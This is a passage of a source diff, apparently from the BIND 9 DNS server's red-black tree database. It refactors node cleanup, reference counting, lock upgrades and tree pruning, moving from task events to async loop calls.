 	for (d = top->down; d != NULL; d = down_next) {
 		down_next = d->down;
-		free_rdataset(rbtdb, mctx, d);
+		dns_slabheader_destroy(&d);
 	}
 	top->down = NULL;
 }
 
-static inline void
+static void
 clean_cache_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node) {
-	rdatasetheader_t *current, *top_prev, *top_next;
-	isc_mem_t *mctx = rbtdb->common.mctx;
+	dns_slabheader_t *current = NULL, *top_prev = NULL, *top_next = NULL;
 
 	/*
 	 * Caller must be holding the node lock.
 	 */
 
-	top_prev = NULL;
 	for (current = node->data; current != NULL; current = top_next) {
 		top_next = current->next;
-		clean_stale_headers(rbtdb, mctx, current);
+		clean_stale_headers(current);
 		/*
 		 * If current is nonexistent, ancient, or stale and
 		 * we are not keeping stale, we can clean it up.
@@ -1676,7 +884,7 @@ clean_cache_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node) {
 			} else {
 				node->data = current->next;
 			}
-			free_rdataset(rbtdb, mctx, current);
+			dns_slabheader_destroy(&current);
 		} else {
 			top_prev = current;
 		}
@@ -1684,12 +892,11 @@ clean_cache_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node) {
 	node->dirty = 0;
 }
 
-static inline void
-clean_zone_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
-		rbtdb_serial_t least_serial) {
-	rdatasetheader_t *current, *dcurrent, *down_next, *dparent;
-	rdatasetheader_t *top_prev, *top_next;
-	isc_mem_t *mctx = rbtdb->common.mctx;
+static void
+clean_zone_node(dns_rbtnode_t *node, uint32_t least_serial) {
+	dns_slabheader_t *current = NULL, *dcurrent = NULL;
+	dns_slabheader_t *down_next = NULL, *dparent = NULL;
+	dns_slabheader_t *top_prev = NULL, *top_next = NULL;
 	bool still_dirty = false;
 
 	/*
@@ -1697,7 +904,6 @@ clean_zone_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 	 */
 	REQUIRE(least_serial != 0);
 
-	top_prev = NULL;
 	for (current = node->data; current != NULL; current = top_next) {
 		top_next = current->next;
 
@@ -1708,16 +914,18 @@ clean_zone_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 		 */
 		dparent = current;
 		for (dcurrent = current->down; dcurrent != NULL;
-		     dcurrent = down_next) {
+		     dcurrent = down_next)
+		{
 			down_next = dcurrent->down;
 			INSIST(dcurrent->serial <= dparent->serial);
 			if (dcurrent->serial == dparent->serial ||
-			    IGNORE(dcurrent)) {
+			    IGNORE(dcurrent))
+			{
 				if (down_next != NULL) {
 					down_next->next = dparent;
 				}
 				dparent->down = down_next;
-				free_rdataset(rbtdb, mctx, dcurrent);
+				dns_slabheader_destroy(&dcurrent);
 			} else {
 				dparent = dcurrent;
 			}
@@ -1735,7 +943,7 @@ clean_zone_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 				} else {
 					node->data = current->next;
 				}
-				free_rdataset(rbtdb, mctx, current);
+				dns_slabheader_destroy(&current);
 				/*
 				 * current no longer exists, so we can
 				 * just continue with the loop.
@@ -1752,7 +960,7 @@ clean_zone_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 					node->data = down_next;
 				}
 				down_next->next = top_next;
-				free_rdataset(rbtdb, mctx, current);
+				dns_slabheader_destroy(&current);
 				current = down_next;
 			}
 		}
@@ -1763,7 +971,8 @@ clean_zone_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 		 */
 		dparent = current;
 		for (dcurrent = current->down; dcurrent != NULL;
-		     dcurrent = down_next) {
+		     dcurrent = down_next)
+		{
 			down_next = dcurrent->down;
 			if (dcurrent->serial < least_serial) {
 				break;
@@ -1779,7 +988,7 @@ clean_zone_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 			do {
 				down_next = dcurrent->down;
 				INSIST(dcurrent->serial <= least_serial);
-				free_rdataset(rbtdb, mctx, dcurrent);
+				dns_slabheader_destroy(&dcurrent);
 				dcurrent = down_next;
 			} while (dcurrent != NULL);
 			dparent->down = NULL;
@@ -1804,7 +1013,7 @@ clean_zone_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 				} else {
 					node->data = current->next;
 				}
-				free_rdataset(rbtdb, mctx, current);
+				dns_slabheader_destroy(&current);
 			} else {
 				top_prev = current;
 			}
@@ -1820,9 +1029,9 @@ clean_zone_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
  */
 static void
 delete_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node) {
-	dns_rbtnode_t *nsecnode;
+	dns_rbtnode_t *nsecnode = NULL;
 	dns_fixedname_t fname;
-	dns_name_t *name;
+	dns_name_t *name = NULL;
 	isc_result_t result = ISC_R_UNEXPECTED;
 
 	INSIST(!ISC_LINK_LINKED(node, deadlink));
@@ -1839,18 +1048,15 @@ delete_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node) {
 
 	switch (node->nsec) {
 	case DNS_RBT_NSEC_NORMAL:
+		result = dns_rbt_deletenode(rbtdb->tree, node, false);
+		break;
+	case DNS_RBT_NSEC_HAS_NSEC:
 		/*
 		 * Though this may be wasteful, it has to be done before
 		 * node is deleted.
 		 */
 		name = dns_fixedname_initname(&fname);
 		dns_rbt_fullnamefromnode(node, name);
-
-		result = dns_rbt_deletenode(rbtdb->tree, node, false);
-		break;
-	case DNS_RBT_NSEC_HAS_NSEC:
-		name = dns_fixedname_initname(&fname);
-		dns_rbt_fullnamefromnode(node, name);
 		/*
 		 * Delete the corresponding node from the auxiliary NSEC
 		 * tree before deleting from the main tree.
@@ -1898,43 +1104,60 @@ delete_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node) {
 /*
  * Caller must be holding the node lock.
  */
-static inline void
-new_reference(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
-	      isc_rwlocktype_t locktype) {
+void
+dns__rbtdb_newref(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
+		  isc_rwlocktype_t locktype DNS__DB_FLARG) {
+	uint_fast32_t refs;
+
 	if (locktype == isc_rwlocktype_write && ISC_LINK_LINKED(node, deadlink))
 	{
 		ISC_LIST_UNLINK(rbtdb->deadnodes[node->locknum], node,
 				deadlink);
 	}
-	if (isc_refcount_increment0(&node->references) == 0) {
+
+	refs = isc_refcount_increment0(&node->references);
+#if DNS_DB_NODETRACE
+	fprintf(stderr, "incr:node:%s:%s:%u:%p->references = %" PRIuFAST32 "\n",
+		func, file, line, node, refs + 1);
+#else
+	UNUSED(refs);
+#endif
+
+	if (refs == 0) {
 		/* this is the first reference to the node */
-		isc_refcount_increment0(
+		refs = isc_refcount_increment0(
 			&rbtdb->node_locks[node->locknum].references);
+#if DNS_DB_NODETRACE
+		fprintf(stderr,
+			"incr:nodelock:%s:%s:%u:%p:%p->references = "
+			"%" PRIuFAST32 "\n",
+			func, file, line, node,
+			&rbtdb->node_locks[node->locknum], refs + 1);
+#else
+		UNUSED(refs);
+#endif
 	}
 }
 
 /*%
  * The tree lock must be held for the result to be valid.
  */
-static inline bool
+static bool
 is_leaf(dns_rbtnode_t *node) {
 	return (node->parent != NULL && node->parent->down == node &&
 		node->left == NULL && node->right == NULL);
 }
 
-static inline void
+static void
 send_to_prune_tree(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
-		   isc_rwlocktype_t locktype) {
-	isc_event_t *ev;
-	dns_db_t *db;
-
-	ev = isc_event_allocate(rbtdb->common.mctx, NULL, DNS_EVENT_RBTPRUNE,
-				prune_tree, node, sizeof(isc_event_t));
-	new_reference(rbtdb, node, locktype);
-	db = NULL;
-	attach((dns_db_t *)rbtdb, &db);
-	ev->ev_sender = db;
-	isc_task_send(rbtdb->task, &ev);
+		   isc_rwlocktype_t locktype DNS__DB_FLARG) {
+	prune_t *prune = isc_mem_get(rbtdb->common.mctx, sizeof(*prune));
+	*prune = (prune_t){ .node = node };
+
+	dns_db_attach((dns_db_t *)rbtdb, &prune->db);
+	dns__rbtdb_newref(rbtdb, node, locktype DNS__DB_FLARG_PASS);
+
+	isc_async_run(rbtdb->loop, prune_tree, prune);
 }
 
 /*%
@@ -1946,8 +1169,8 @@ send_to_prune_tree(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
  * The caller must hold a tree write lock and bucketnum'th node (write) lock.
  */
 static void
-cleanup_dead_nodes(dns_rbtdb_t *rbtdb, int bucketnum) {
-	dns_rbtnode_t *node;
+cleanup_dead_nodes(dns_rbtdb_t *rbtdb, int bucketnum DNS__DB_FLARG) {
+	dns_rbtnode_t *node = NULL;
 	int count = 10; /* XXXJT: should be adjustable */
 
 	node = ISC_LIST_HEAD(rbtdb->deadnodes[bucketnum]);
@@ -1960,14 +1183,17 @@ cleanup_dead_nodes(dns_rbtdb_t *rbtdb, int bucketnum) {
 		 * and we have to do it now.
 		 */
 		if (isc_refcount_current(&node->references) != 0 ||
-		    node->data != NULL) {
+		    node->data != NULL)
+		{
 			node = ISC_LIST_HEAD(rbtdb->deadnodes[bucketnum]);
 			count--;
 			continue;
 		}
 
-		if (is_leaf(node) && rbtdb->task != NULL) {
-			send_to_prune_tree(rbtdb, node, isc_rwlocktype_write);
+		if (is_leaf(node) && rbtdb->loop != NULL) {
+			send_to_prune_tree(
+				rbtdb, node,
+				isc_rwlocktype_write DNS__DB_FLARG_PASS);
 		} else if (node->down == NULL && node->data == NULL) {
 			/*
 			 * Not a interior node and not needing to be
@@ -1997,23 +1223,23 @@ cleanup_dead_nodes(dns_rbtdb_t *rbtdb, int bucketnum) {
  * few cases where the node can be in the deadnode list (only empty nodes can
  * have been added to the list).
  */
-static inline void
+static void
 reactivate_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
-		isc_rwlocktype_t treelocktype) {
-	isc_rwlocktype_t locktype = isc_rwlocktype_read;
-	nodelock_t *nodelock = &rbtdb->node_locks[node->locknum].lock;
+		isc_rwlocktype_t tlocktype DNS__DB_FLARG) {
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	isc_rwlock_t *nodelock = &rbtdb->node_locks[node->locknum].lock;
 	bool maybe_cleanup = false;
 
-	POST(locktype);
+	POST(nlocktype);
 
-	NODE_LOCK(nodelock, locktype);
+	NODE_RDLOCK(nodelock, &nlocktype);
 
 	/*
 	 * Check if we can possibly cleanup the dead node.  If so, upgrade
 	 * the node lock below to perform the cleanup.
 	 */
 	if (!ISC_LIST_EMPTY(rbtdb->deadnodes[node->locknum]) &&
-	    treelocktype == isc_rwlocktype_write)
+	    tlocktype == isc_rwlocktype_write)
 	{
 		maybe_cleanup = true;
 	}
@@ -2022,27 +1248,26 @@ reactivate_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 		/*
 		 * Upgrade the lock and test if we still need to unlink.
 		 */
-		NODE_UNLOCK(nodelock, locktype);
-		locktype = isc_rwlocktype_write;
-		POST(locktype);
-		NODE_LOCK(nodelock, locktype);
+		NODE_FORCEUPGRADE(nodelock, &nlocktype);
+		POST(nlocktype);
 		if (ISC_LINK_LINKED(node, deadlink)) {
 			ISC_LIST_UNLINK(rbtdb->deadnodes[node->locknum], node,
 					deadlink);
 		}
 		if (maybe_cleanup) {
-			cleanup_dead_nodes(rbtdb, node->locknum);
+			cleanup_dead_nodes(rbtdb,
+					   node->locknum DNS__DB_FILELINE);
 		}
 	}
 
-	new_reference(rbtdb, node, locktype);
+	dns__rbtdb_newref(rbtdb, node, nlocktype DNS__DB_FLARG_PASS);
 
-	NODE_UNLOCK(nodelock, locktype);
+	NODE_UNLOCK(nodelock, &nlocktype);
 }
 
 /*
- * Caller must be holding the node lock; either the "strong", read or write
- * lock.  Note that the lock must be held even when node references are
+ * Caller must be holding the node lock; either the read or write lock.
+ * Note that the lock must be held even when node references are
  * atomically modified; in that case the decrement operation itself does not
  * have to be protected, but we must avoid a race condition where multiple
  * threads are decreasing the reference to zero simultaneously and at least
@@ -2054,18 +1279,21 @@ reactivate_node(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
  * NOTE: Decrementing the reference count of a node to zero does not mean it
  * will be immediately freed.
  */
-static bool
-decrement_reference(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
-		    rbtdb_serial_t least_serial, isc_rwlocktype_t nlock,
-		    isc_rwlocktype_t tlock, bool pruning) {
+bool
+dns__rbtdb_decref(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
+		  uint32_t least_serial, isc_rwlocktype_t *nlocktypep,
+		  isc_rwlocktype_t *tlocktypep, bool tryupgrade,
+		  bool pruning DNS__DB_FLARG) {
 	isc_result_t result;
-	bool write_locked;
-	bool locked = tlock != isc_rwlocktype_none;
-	rbtdb_nodelock_t *nodelock;
+	bool locked = *tlocktypep != isc_rwlocktype_none;
+	bool write_locked = false;
+	rbtdb_nodelock_t *nodelock = NULL;
 	int bucket = node->locknum;
 	bool no_reference = true;
 	uint_fast32_t refs;
 
+	REQUIRE(*nlocktypep != isc_rwlocktype_none);
+
 	nodelock = &rbtdb->node_locks[bucket];
 
 #define KEEP_NODE(n, r, l)                                  \
@@ -2074,9 +1302,24 @@ decrement_reference(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 
 	/* Handle easy and typical case first. */
 	if (!node->dirty && KEEP_NODE(node, rbtdb, locked)) {
-		if (isc_refcount_decrement(&node->references) == 1) {
+		refs = isc_refcount_decrement(&node->references);
+#if DNS_DB_NODETRACE
+		fprintf(stderr,
+			"decr:node:%s:%s:%u:%p->references = %" PRIuFAST32 "\n",
+			func, file, line, node, refs - 1);
+#else
+		UNUSED(refs);
+#endif
+		if (refs == 1) {
 			refs = isc_refcount_decrement(&nodelock->references);
-			INSIST(refs > 0);
+#if DNS_DB_NODETRACE
+			fprintf(stderr,
+				"decr:nodelock:%s:%s:%u:%p:%p->references = "
+				"%" PRIuFAST32 "\n",
+				func, file, line, node, nodelock, refs - 1);
+#else
+			UNUSED(refs);
+#endif
 			return (true);
 		} else {
 			return (false);
@@ -2084,16 +1327,18 @@ decrement_reference(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 	}
 
 	/* Upgrade the lock? */
-	if (nlock == isc_rwlocktype_read) {
-		NODE_UNLOCK(&nodelock->lock, isc_rwlocktype_read);
-		NODE_LOCK(&nodelock->lock, isc_rwlocktype_write);
+	if (*nlocktypep == isc_rwlocktype_read) {
+		NODE_FORCEUPGRADE(&nodelock->lock, nlocktypep);
 	}
 
-	if (isc_refcount_decrement(&node->references) > 1) {
-		/* Restore the lock? */
-		if (nlock == isc_rwlocktype_read) {
-			NODE_DOWNGRADE(&nodelock->lock);
-		}
+	refs = isc_refcount_decrement(&node->references);
+#if DNS_DB_NODETRACE
+	fprintf(stderr, "decr:node:%s:%s:%u:%p->references = %" PRIuFAST32 "\n",
+		func, file, line, node, refs - 1);
+#else
+	UNUSED(refs);
+#endif
+	if (refs > 1) {
 		return (false);
 	}
 
@@ -2110,7 +1355,7 @@ decrement_reference(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 				least_serial = rbtdb->least_serial;
 				RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
 			}
-			clean_zone_node(rbtdb, node, least_serial);
+			clean_zone_node(node, least_serial);
 		}
 	}
 
@@ -2118,31 +1363,44 @@ decrement_reference(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 	 * Attempt to switch to a write lock on the tree.  If this fails,
 	 * we will add this node to a linked list of nodes in this locking
 	 * bucket which we will free later.
+	 *
+	 * Locking hierarchy notwithstanding, we don't need to free
+	 * the node lock before acquiring the tree write lock because
+	 * we only do a trylock.
 	 */
-	if (tlock != isc_rwlocktype_write) {
-		/*
-		 * Locking hierarchy notwithstanding, we don't need to free
-		 * the node lock before acquiring the tree write lock because
-		 * we only do a trylock.
-		 */
-		if (tlock == isc_rwlocktype_read) {
-			result = isc_rwlock_tryupgrade(&rbtdb->tree_lock);
+	/* We are allowed to upgrade the tree lock */
+	switch (*tlocktypep) {
+	case isc_rwlocktype_write:
+		result = ISC_R_SUCCESS;
+		break;
+	case isc_rwlocktype_read:
+		if (tryupgrade) {
+			result = TREE_TRYUPGRADE(&rbtdb->tree_lock, tlocktypep);
 		} else {
-			result = isc_rwlock_trylock(&rbtdb->tree_lock,
-						    isc_rwlocktype_write);
+			result = ISC_R_LOCKBUSY;
 		}
-		RUNTIME_CHECK(result == ISC_R_SUCCESS ||
-			      result == ISC_R_LOCKBUSY);
-
-		write_locked = (result == ISC_R_SUCCESS);
-	} else {
+		break;
+	case isc_rwlocktype_none:
+		result = TREE_TRYWRLOCK(&rbtdb->tree_lock, tlocktypep);
+		break;
+	default:
+		UNREACHABLE();
+	}
+	RUNTIME_CHECK(result == ISC_R_SUCCESS || result == ISC_R_LOCKBUSY);
+	if (result == ISC_R_SUCCESS) {
 		write_locked = true;
 	}
 
 	refs = isc_refcount_decrement(&nodelock->references);
-	INSIST(refs > 0);
+#if DNS_DB_NODETRACE
+	fprintf(stderr,
+		"decr:nodelock:%s:%s:%u:%p:%p->references = %" PRIuFAST32 "\n",
+		func, file, line, node, nodelock, refs - 1);
+#else
+	UNUSED(refs);
+#endif
 
-	if (KEEP_NODE(node, rbtdb, locked || write_locked)) {
+	if (KEEP_NODE(node, rbtdb, (locked || write_locked))) {
 		goto restore_locks;
 	}
 
@@ -2164,13 +1422,15 @@ decrement_reference(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 		 * the trouble, we'll dispatch a separate event for batch
 		 * cleaning.  We need to check whether we're deleting the node
 		 * as a result of pruning to avoid infinite dispatching.
-		 * Note: pruning happens only when a task has been set for the
-		 * rbtdb.  If the user of the rbtdb chooses not to set a task,
+		 * Note: pruning happens only when a loop has been set for the
+		 * rbtdb.  If the user of the rbtdb chooses not to set a loop,
 		 * it's their responsibility to purge stale leaves (e.g. by
 		 * periodic walk-through).
 		 */
-		if (!pruning && is_leaf(node) && rbtdb->task != NULL) {
-			send_to_prune_tree(rbtdb, node, isc_rwlocktype_write);
+		if (!pruning && is_leaf(node) && rbtdb->loop != NULL) {
+			send_to_prune_tree(
+				rbtdb, node,
+				isc_rwlocktype_write DNS__DB_FLARG_PASS);
 			no_reference = false;
 		} else {
 			delete_node(rbtdb, node);
@@ -2184,24 +1444,11 @@ decrement_reference(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
 	}
 
 restore_locks:
-	/* Restore the lock? */
-	if (nlock == isc_rwlocktype_read) {
-		NODE_DOWNGRADE(&nodelock->lock);
-	}
-
 	/*
 	 * Relock a read lock, or unlock the write lock if no lock was held.
 	 */
-	if (tlock == isc_rwlocktype_none) {
-		if (write_locked) {
-			RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-		}
-	}
-
-	if (tlock == isc_rwlocktype_read) {
-		if (write_locked) {
-			isc_rwlock_downgrade(&rbtdb->tree_lock);
-		}
+	if (!locked && write_locked) {
+		TREE_UNLOCK(&rbtdb->tree_lock, tlocktypep);
 	}
 
 	return (no_reference);
@@ -2215,23 +1462,24 @@ decrement_reference(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
  * acceptable for a single event.
  */
 static void
-prune_tree(isc_task_t *task, isc_event_t *event) {
-	dns_rbtdb_t *rbtdb = event->ev_sender;
-	dns_rbtnode_t *node = event->ev_arg;
-	dns_rbtnode_t *parent;
+prune_tree(void *arg) {
+	prune_t *prune = (prune_t *)arg;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)prune->db;
+	dns_rbtnode_t *node = prune->node;
+	dns_rbtnode_t *parent = NULL;
 	unsigned int locknum;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
 
-	UNUSED(task);
-
-	isc_event_free(&event);
+	isc_mem_put(rbtdb->common.mctx, prune, sizeof(*prune));
 
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
+	TREE_WRLOCK(&rbtdb->tree_lock, &tlocktype);
 	locknum = node->locknum;
-	NODE_LOCK(&rbtdb->node_locks[locknum].lock, isc_rwlocktype_write);
+	NODE_WRLOCK(&rbtdb->node_locks[locknum].lock, &nlocktype);
 	do {
 		parent = node->parent;
-		decrement_reference(rbtdb, node, 0, isc_rwlocktype_write,
-				    isc_rwlocktype_write, true);
+		dns__rbtdb_decref(rbtdb, node, 0, &nlocktype, &tlocktype, true,
+				  true DNS__DB_FILELINE);
 
 		if (parent != NULL && parent->down == NULL) {
 			/*
@@ -2242,10 +1490,10 @@ prune_tree(isc_task_t *task, isc_event_t *event) {
 			 */
 			if (parent->locknum != locknum) {
 				NODE_UNLOCK(&rbtdb->node_locks[locknum].lock,
-					    isc_rwlocktype_write);
+					    &nlocktype);
 				locknum = parent->locknum;
-				NODE_LOCK(&rbtdb->node_locks[locknum].lock,
-					  isc_rwlocktype_write);
+				NODE_WRLOCK(&rbtdb->node_locks[locknum].lock,
+					    &nlocktype);
 			}
 
 			/*
@@ -2256,21 +1504,22 @@ prune_tree(isc_task_t *task, isc_event_t *event) {
 				ISC_LIST_UNLINK(rbtdb->deadnodes[locknum],
 						parent, deadlink);
 			}
-			new_reference(rbtdb, parent, isc_rwlocktype_write);
+			dns__rbtdb_newref(rbtdb, parent,
+					  nlocktype DNS__DB_FILELINE);
 		} else {
 			parent = NULL;
 		}
 
 		node = parent;
 	} while (node != NULL);
-	NODE_UNLOCK(&rbtdb->node_locks[locknum].lock, isc_rwlocktype_write);
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
+	NODE_UNLOCK(&rbtdb->node_locks[locknum].lock, &nlocktype);
+	TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
 
-	detach((dns_db_t **)&rbtdb);
+	dns_db_detach((dns_db_t **)&rbtdb);
 }
 
-static inline void
-make_least_version(dns_rbtdb_t *rbtdb, rbtdb_version_t *version,
+static void
+make_least_version(dns_rbtdb_t *rbtdb, dns_rbtdb_version_t *version,
 		   rbtdb_changedlist_t *cleanup_list) {
 	/*
 	 * Caller must be holding the database lock.
@@ -2281,9 +1530,10 @@ make_least_version(dns_rbtdb_t *rbtdb, rbtdb_version_t *version,
 	ISC_LIST_INIT(version->changed_list);
 }
 
-static inline void
-cleanup_nondirty(rbtdb_version_t *version, rbtdb_changedlist_t *cleanup_list) {
-	rbtdb_changed_t *changed, *next_changed;
+static void
+cleanup_nondirty(dns_rbtdb_version_t *version,
+		 rbtdb_changedlist_t *cleanup_list) {
+	rbtdb_changed_t *changed = NULL, *next_changed = NULL;
 
 	/*
 	 * If the changed record is dirty, then
@@ -2310,8 +1560,9 @@ cleanup_nondirty(rbtdb_version_t *version, rbtdb_changedlist_t *cleanup_list) {
 	}
 }
 
-static void
-iszonesecure(dns_db_t *db, rbtdb_version_t *version, dns_dbnode_t *origin) {
+void
+dns__rbtdb_setsecure(dns_db_t *db, dns_rbtdb_version_t *version,
+		     dns_dbnode_t *origin) {
 	dns_rdataset_t keyset;
 	dns_rdataset_t nsecset, signsecset;
 	bool haszonekey = false;
@@ -2335,7 +1586,7 @@ iszonesecure(dns_db_t *db, rbtdb_version_t *version, dns_dbnode_t *origin) {
 		dns_rdataset_disassociate(&keyset);
 	}
 	if (!haszonekey) {
-		version->secure = dns_db_insecure;
+		version->secure = false;
 		version->havensec3 = false;
 		return;
 	}
@@ -2358,9 +1609,9 @@ iszonesecure(dns_db_t *db, rbtdb_version_t *version, dns_dbnode_t *origin) {
 	 * Do we have a valid NSEC/NSEC3 chain?
 	 */
 	if (version->havensec3 || hasnsec) {
-		version->secure = dns_db_secure;
+		version->secure = true;
 	} else {
-		version->secure = dns_db_insecure;
+		version->secure = false;
 	}
 }
 
@@ -2369,27 +1620,29 @@ iszonesecure(dns_db_t *db, rbtdb_version_t *version, dns_dbnode_t *origin) {
  * Cache the nsec3 parameters.
  */
 static void
-setnsec3parameters(dns_db_t *db, rbtdb_version_t *version) {
-	dns_rbtnode_t *node;
+setnsec3parameters(dns_db_t *db, dns_rbtdb_version_t *version) {
+	dns_rbtnode_t *node = NULL;
 	dns_rdata_nsec3param_t nsec3param;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	isc_region_t region;
 	isc_result_t result;
-	rdatasetheader_t *header, *header_next;
+	dns_slabheader_t *header = NULL, *header_next = NULL;
 	unsigned char *raw; /* RDATASLAB */
 	unsigned int count, length;
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
 
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
+	TREE_RDLOCK(&rbtdb->tree_lock, &tlocktype);
 	version->havensec3 = false;
 	node = rbtdb->origin_node;
-	NODE_LOCK(&(rbtdb->node_locks[node->locknum].lock),
-		  isc_rwlocktype_read);
+	NODE_RDLOCK(&(rbtdb->node_locks[node->locknum].lock), &nlocktype);
 	for (header = node->data; header != NULL; header = header_next) {
 		header_next = header->next;
 		do {
 			if (header->serial <= version->serial &&
-			    !IGNORE(header)) {
+			    !IGNORE(header))
+			{
 				if (NONEXISTENT(header)) {
 					header = NULL;
 				}
@@ -2400,11 +1653,12 @@ setnsec3parameters(dns_db_t *db, rbtdb_version_t *version) {
 		} while (header != NULL);
 
 		if (header != NULL &&
-		    (header->type == dns_rdatatype_nsec3param)) {
+		    (header->type == dns_rdatatype_nsec3param))
+		{
 			/*
 			 * Find A NSEC3PARAM with a supported algorithm.
 			 */
-			raw = (unsigned char *)header + sizeof(*header);
+			raw = dns_slabheader_raw(header);
 			count = raw[0] * 256 + raw[1]; /* count */
 			raw += DNS_RDATASET_COUNT + DNS_RDATASET_LENGTH;
 			while (count-- > 0U) {
@@ -2449,57 +1703,53 @@ setnsec3parameters(dns_db_t *db, rbtdb_version_t *version) {
 		}
 	}
 unlock:
-	NODE_UNLOCK(&(rbtdb->node_locks[node->locknum].lock),
-		    isc_rwlocktype_read);
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
+	NODE_UNLOCK(&(rbtdb->node_locks[node->locknum].lock), &nlocktype);
+	TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
 }
 
 static void
-cleanup_dead_nodes_callback(isc_task_t *task, isc_event_t *event) {
-	dns_rbtdb_t *rbtdb = event->ev_arg;
+cleanup_dead_nodes_callback(void *arg) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)arg;
 	bool again = false;
 	unsigned int locknum;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
 
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
+	TREE_WRLOCK(&rbtdb->tree_lock, &tlocktype);
 	for (locknum = 0; locknum < rbtdb->node_lock_count; locknum++) {
-		NODE_LOCK(&rbtdb->node_locks[locknum].lock,
-			  isc_rwlocktype_write);
-		cleanup_dead_nodes(rbtdb, locknum);
+		NODE_WRLOCK(&rbtdb->node_locks[locknum].lock, &nlocktype);
+		cleanup_dead_nodes(rbtdb, locknum DNS__DB_FILELINE);
 		if (ISC_LIST_HEAD(rbtdb->deadnodes[locknum]) != NULL) {
 			again = true;
 		}
-		NODE_UNLOCK(&rbtdb->node_locks[locknum].lock,
-			    isc_rwlocktype_write);
+		NODE_UNLOCK(&rbtdb->node_locks[locknum].lock, &nlocktype);
 	}
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
+	TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
 	if (again) {
-		isc_task_send(task, &event);
+		isc_async_run(rbtdb->loop, cleanup_dead_nodes_callback, rbtdb);
 	} else {
-		isc_event_free(&event);
-		if (isc_refcount_decrement(&rbtdb->references) == 1) {
-			(void)isc_refcount_current(&rbtdb->references);
-			maybe_free_rbtdb(rbtdb);
-		}
+		dns_db_detach((dns_db_t **)&rbtdb);
 	}
 }
 
-static void
-closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
+void
+dns__rbtdb_closeversion(dns_db_t *db, dns_dbversion_t **versionp,
+			bool commit DNS__DB_FLARG) {
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	rbtdb_version_t *version, *cleanup_version, *least_greater;
+	dns_rbtdb_version_t *version = NULL, *cleanup_version = NULL;
+	dns_rbtdb_version_t *least_greater = NULL;
 	bool rollback = false;
 	rbtdb_changedlist_t cleanup_list;
-	rdatasetheaderlist_t resigned_list;
-	rbtdb_changed_t *changed, *next_changed;
-	rbtdb_serial_t serial, least_serial;
-	dns_rbtnode_t *rbtnode;
-	rdatasetheader_t *header;
+	dns_slabheaderlist_t resigned_list;
+	rbtdb_changed_t *changed = NULL, *next_changed = NULL;
+	uint32_t serial, least_serial;
+	dns_rbtnode_t *rbtnode = NULL;
+	dns_slabheader_t *header = NULL;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
-	version = (rbtdb_version_t *)*versionp;
+	version = (dns_rbtdb_version_t *)*versionp;
 	INSIST(version->rbtdb == rbtdb);
 
-	cleanup_version = NULL;
 	ISC_LIST_INIT(cleanup_list);
 	ISC_LIST_INIT(resigned_list);
 
@@ -2518,15 +1768,15 @@ closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
 	 * it the current version.
 	 */
 	if (version->writer && commit && !IS_CACHE(rbtdb)) {
-		iszonesecure(db, version, rbtdb->origin_node);
+		dns__rbtdb_setsecure(db, version, rbtdb->origin_node);
 	}
 
 	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_write);
 	serial = version->serial;
 	if (version->writer) {
 		if (commit) {
-			unsigned cur_ref;
-			rbtdb_version_t *cur_version;
+			unsigned int cur_ref;
